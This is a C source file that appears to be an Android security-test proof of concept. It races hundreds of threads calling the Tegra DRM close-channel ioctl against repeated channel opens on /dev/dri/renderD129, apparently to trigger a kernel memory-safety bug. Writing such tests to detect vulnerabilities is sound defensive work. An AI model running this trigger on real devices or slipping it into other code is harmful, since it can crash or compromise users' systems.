1 /* 2 * Copyright (C) 2016 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <stdio.h> 18 #include <stdlib.h> 19 #include <pthread.h> 20 #include <sys/ioctl.h> 21 #include <errno.h> 22 #include <sys/stat.h> 23 #include <fcntl.h> 24 #include <sched.h> 25 #include <sys/types.h> 26 #include <signal.h> 27 #include <unistd.h> 28 29 #define THREAD_NUM 900 30 #define TRY_TIMES 900 31 #define DEV "/dev/dri/renderD129" 32 33 #define SIOCIWFIRSTPRIV 0x8BE0 34 #define SIOCGIWNAME 0x8B01 35 #define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11) 36 #define PRIV_CUSTOM_BWCS_CMD 13 37 #define PRIV_CMD_OID 15 38 #define PRIV_CMD_SW_CTRL 20 39 #define PRIV_CMD_WSC_PROBE_REQ 22 40 41 enum host1x_class { 42 HOST1X_CLASS_HOST1X = 0x1, 43 HOST1X_CLASS_NVENC = 0x21, 44 HOST1X_CLASS_VI = 0x30, 45 HOST1X_CLASS_ISPA = 0x32, 46 HOST1X_CLASS_ISPB = 0x34, 47 HOST1X_CLASS_GR2D = 0x51, 48 HOST1X_CLASS_GR2D_SB = 0x52, 49 HOST1X_CLASS_VIC = 0x5D, 50 HOST1X_CLASS_GR3D = 0x60, 51 HOST1X_CLASS_NVJPG = 0xC0, 52 HOST1X_CLASS_NVDEC = 0xF0, 53 }; 54 55 #define DRM_COMMAND_BASE 0x40 56 #define DRM_COMMAND_END 0xA0 57 58 #define DRM_TEGRA_OPEN_CHANNEL 0x05 59 #define DRM_TEGRA_CLOSE_CHANNEL 0x06 60 61 struct drm_tegra_open_channel { 62 __u32 client; 63 __u32 pad; 64 __u64 context; 65 }; 66 67 struct drm_tegra_close_channel { 68 __u64 context; 69 }; 70 71 #define DRM_IOCTL_BASE 'd' 72 #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) 73 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel) 74 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel) 75 76 int fd; 77 pthread_t thread_id[THREAD_NUM] = { 0 }; 78 int thread_ret[THREAD_NUM] = { 0 }; 79 int futex_signal = 0; 80 81 struct drm_tegra_open_channel open_c = { 0 }; 82 volatile struct drm_tegra_close_channel close_c = { 0 }; 83 84 static int set_affinity(int num) 85 { 86 int ret = 0; 87 cpu_set_t mask; 88 CPU_ZERO(&mask); 89 CPU_SET(num, &mask); 90 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); 91 if(ret == -1){ 92 } 93 return ret; 94 } 95 96 static void prepare() 97 { 98 open_c.client = HOST1X_CLASS_VIC; 99 } 100 101 void* child(void* no_use) 102 { 103 int ret = 1; 104 set_affinity(1); 105 106 while(ret){ 107 ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c); 108 } 109 return NULL; 110 } 111 112 int main() 113 { 114 int i, try_time = TRY_TIMES, ret; 115 116 /* bind_cpu */ 117 set_affinity(0); 118 119 /* open dev */ 120 fd = open(DEV,O_RDONLY); 121 if(fd == -1){ 122 return 0; 123 } 124 125 /* prepare ioctl cmd */ 126 prepare(); 127 128 /* create thread */ 129 for(i = 0; i < THREAD_NUM; i++){ 130 thread_ret[i] = pthread_create(thread_id + i, NULL, child, NULL); 131 } 132 133 while(try_time--){ 134 /* open */ 135 ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c); 136 if(ret){ 137 }else{ 138 } 139 /* close */ 140 close_c.context = open_c.context; 141 142 /* swtich to child */ 143 usleep(500); 144 } 145 146 out_thread: 147 /* kill thread */ 148 for(i = 0; i < THREAD_NUM; i++){ 149 if(!thread_ret[i]){ 150 pthread_kill(thread_id[i], SIGKILL); 151 } 152 } 153 154 out_close: 155 close(fd); 156 return 0; 157 } 158 159
